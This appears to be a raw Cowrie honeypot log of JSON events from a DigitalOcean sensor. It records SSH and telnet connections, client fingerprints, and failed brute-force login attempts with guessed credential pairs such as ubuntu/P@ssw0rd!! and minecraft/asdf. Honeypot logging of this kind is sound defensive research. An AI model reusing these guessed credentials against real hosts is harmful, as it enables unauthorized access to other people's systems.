{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:2c:e9:12:82:17:e7:6c:4e:ea:8f:35:48:58:f9:72","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANqMt3kgwmozfjcKsj05IHV91JrBZ3jUjFyhROgfbIWjoQxKAg/B1kFjPViyqSWtxp7Ze+10E+wk+uBss3nV1WNkehFYhB/NcBip4O/WUkVaW3zYucnfZaOa8iLgPznBn54Aw9ZfxBlGYCUvyCM/s/kHBt891lM/j9w06fN1NlYxAAAAFQC0ol0lBnmGTli6H0+TQ6XH9Oo3yQAAAIBW/nDziOMBeflbPSVMDqUuLLao53/SS6nVYIWMdn6u0qclfa6QyCcZtS/DxEkNtQQ2FAlVZoWliAJwpNRlJuvgBG77RvdSkngyyIgUqt2gi3E860mpBMyMr9NaaMNAtiExwUzPpn4KTZqVVr8AjRtmKEB07s81QT1WFOk1A61vFQAAAIBEUndRlywp3goqzjOW+ub5fulrD2BXhzmFv1fSPC6jZ3GgmIEoA/cxonX0jnVhfzX2Y3fjjsvTslcnOE3TLt6JRGryUbQW0Cfwp2563wRT9YvOgWo53p/sdeYNM5fnVcjYLhHDJfMYatSGaKMU9oqgSlcdstMzNs3u9rTXfePfcw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:54.037639Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:8f:a1:52:64:a0:ab:42:e5:92:9f:ad:33:f0:9d:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwITg2TifMG7MrNAwzIZp454iGAAEWsaqw3/P4sjWOuH3+GhzGUkgDVA9QBGSpMPp1ti88GInwah/C0uU9BMPaueSGD6bCkCia/HQlF5kTSIb3Sbg7r3CjJUSSNpkpUP4i4wXQ8l89vgx3xskVwdXhvu8HU7xb+93BDan4hcxIBPcGE+br4xOU5WvPV6va3vbEVFqN0g2/wGR0ZEZMi7DQVOGYoN/FzvCMt9cENxEIh6JrxHdd66HNZsidheYIGv12vpKEvpydTKhFo+dkIq5Ifdr7QxR3zd0w78NzPPEjaWbnmfVTNWdDByuiAbq9lGZvetlR3hO+xJ/q4sF4IIgBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:8f:a1:52:64:a0:ab:42:e5:92:9f:ad:33:f0:9d:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:54.069499Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:8f:a1:52:64:a0:ab:42:e5:92:9f:ad:33:f0:9d:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwITg2TifMG7MrNAwzIZp454iGAAEWsaqw3/P4sjWOuH3+GhzGUkgDVA9QBGSpMPp1ti88GInwah/C0uU9BMPaueSGD6bCkCia/HQlF5kTSIb3Sbg7r3CjJUSSNpkpUP4i4wXQ8l89vgx3xskVwdXhvu8HU7xb+93BDan4hcxIBPcGE+br4xOU5WvPV6va3vbEVFqN0g2/wGR0ZEZMi7DQVOGYoN/FzvCMt9cENxEIh6JrxHdd66HNZsidheYIGv12vpKEvpydTKhFo+dkIq5Ifdr7QxR3zd0w78NzPPEjaWbnmfVTNWdDByuiAbq9lGZvetlR3hO+xJ/q4sF4IIgBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:54.073158Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:ab:f3:56:2f:f2:f0:6d:6e:7b:c0:47:3a:f2:b7:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWgji0OyZEeruJ0JxFQxoxCHgLkFe/4fJMk/C/tbx91z0QtqUGIF/hyKdm2lZesO1oJXe8KU2hmuBRBRRFcWoFzWCI7Tybu3keGGkItcaxPPSbM7Fli8pA0Tz7dDHbrbIAiAoDFw/+MlxNH2yum755UhGUMv7ep/VBE4qUyYN4ZTQzdD4+cxvOPs2hfI3qU8PeLx1IKPfdQVDMlCPKNGz97lK0nubC5R88YRRt8bruPGO/dDBbX5fkYqX6a4XI2uTaOfRROpJaa619kdiAjgUpGweN+RqsoQgCu9OmqRQct/Zt2fN6+Bb9XBmNwLZkN3hymO5Jhu458/YJfzD3Ho3H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:ab:f3:56:2f:f2:f0:6d:6e:7b:c0:47:3a:f2:b7:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:54.106002Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:ab:f3:56:2f:f2:f0:6d:6e:7b:c0:47:3a:f2:b7:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWgji0OyZEeruJ0JxFQxoxCHgLkFe/4fJMk/C/tbx91z0QtqUGIF/hyKdm2lZesO1oJXe8KU2hmuBRBRRFcWoFzWCI7Tybu3keGGkItcaxPPSbM7Fli8pA0Tz7dDHbrbIAiAoDFw/+MlxNH2yum755UhGUMv7ep/VBE4qUyYN4ZTQzdD4+cxvOPs2hfI3qU8PeLx1IKPfdQVDMlCPKNGz97lK0nubC5R88YRRt8bruPGO/dDBbX5fkYqX6a4XI2uTaOfRROpJaa619kdiAjgUpGweN+RqsoQgCu9OmqRQct/Zt2fN6+Bb9XBmNwLZkN3hymO5Jhu458/YJfzD3Ho3H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:54.109539Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:12:54.146606Z","src_ip":"68.235.57.43","session":"a3cc8076ea37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.206469058990479,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:02.035410Z","src_ip":"2.42.135.59","session":"28717e653663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:16.861674Z","src_ip":"120.48.135.189","session":"aecadd676816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37910,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0ee6f930c30","protocol":"ssh","message":"New connection: 194.59.206.2:37910 (10.17.0.5:22) [session: d0ee6f930c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:22.968773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:22.975028Z","src_ip":"194.59.206.2","session":"d0ee6f930c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:23.066470Z","src_ip":"194.59.206.2","session":"d0ee6f930c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:23.162445Z","src_ip":"194.59.206.2","session":"d0ee6f930c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":57548,"dst_ip":"10.17.0.5","dst_port":22,"session":"2584aa967c27","protocol":"ssh","message":"New connection: 187.212.47.18:57548 (10.17.0.5:22) [session: 2584aa967c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:35.422957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:35.428372Z","src_ip":"187.212.47.18","session":"2584aa967c27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:35.667813Z","src_ip":"187.212.47.18","session":"2584aa967c27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd!!","message":"login attempt [ubuntu/P@ssw0rd!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:36.001101Z","src_ip":"187.212.47.18","session":"2584aa967c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:37.080101Z","src_ip":"187.212.47.18","session":"2584aa967c27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":36096,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cbfd6ee859e","protocol":"ssh","message":"New connection: 36.93.249.106:36096 (159.203.135.109:22) [session: 1cbfd6ee859e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:40.443153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:40.448950Z","src_ip":"36.93.249.106","session":"1cbfd6ee859e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:40.730679Z","src_ip":"36.93.249.106","session":"1cbfd6ee859e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myappuser","password":"password","message":"login attempt [myappuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:41.886053Z","src_ip":"36.93.249.106","session":"1cbfd6ee859e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:43.169544Z","src_ip":"36.93.249.106","session":"1cbfd6ee859e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":26436,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc12baf853cb","protocol":"ssh","message":"New connection: 185.9.193.111:26436 (159.203.135.109:22) [session: cc12baf853cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:55.873846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:55.879051Z","src_ip":"185.9.193.111","session":"cc12baf853cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:13:56.467181Z","src_ip":"185.9.193.111","session":"cc12baf853cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"asdf","message":"login attempt [minecraft/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:14:00.212948Z","src_ip":"185.9.193.111","session":"cc12baf853cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:14:08.187775Z","src_ip":"185.9.193.111","session":"cc12baf853cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":58846,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9277987c524","protocol":"telnet","message":"New connection: 45.63.78.87:58846 (10.17.0.5:23) [session: e9277987c524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:14:29.809432Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":41854,"dst_ip":"159.203.135.109","dst_port":22,"session":"f47d64e2fb99","protocol":"ssh","message":"New connection: 36.93.249.106:41854 (159.203.135.109:22) [session: f47d64e2fb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:14:34.700959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:14:34.704882Z","src_ip":"36.93.249.106","session":"f47d64e2fb99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:14:34.982605Z","src_ip":"36.93.249.106","session":"f47d64e2fb99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456789","message":"login attempt [ubuntu/aA123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:14:36.129442Z","src_ip":"36.93.249.106","session":"f47d64e2fb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:14:37.409222Z","src_ip":"36.93.249.106","session":"f47d64e2fb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.31311559677124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:00.122426Z","src_ip":"45.63.78.87","session":"e9277987c524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":33942,"dst_ip":"10.17.0.5","dst_port":22,"session":"38e79901dd85","protocol":"ssh","message":"New connection: 120.48.135.189:33942 (10.17.0.5:22) [session: 38e79901dd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:29.743715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:29.749009Z","src_ip":"120.48.135.189","session":"38e79901dd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:29.966963Z","src_ip":"120.48.135.189","session":"38e79901dd85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"server","message":"login attempt [ts3server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:30.873175Z","src_ip":"120.48.135.189","session":"38e79901dd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":33642,"dst_ip":"159.203.135.109","dst_port":22,"session":"888dd67198f0","protocol":"ssh","message":"New connection: 36.93.249.106:33642 (159.203.135.109:22) [session: 888dd67198f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:31.927847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:15:31.932343Z","src_ip":"36.93.249.106","session":"888dd67198f0","protocol":"ssh"}
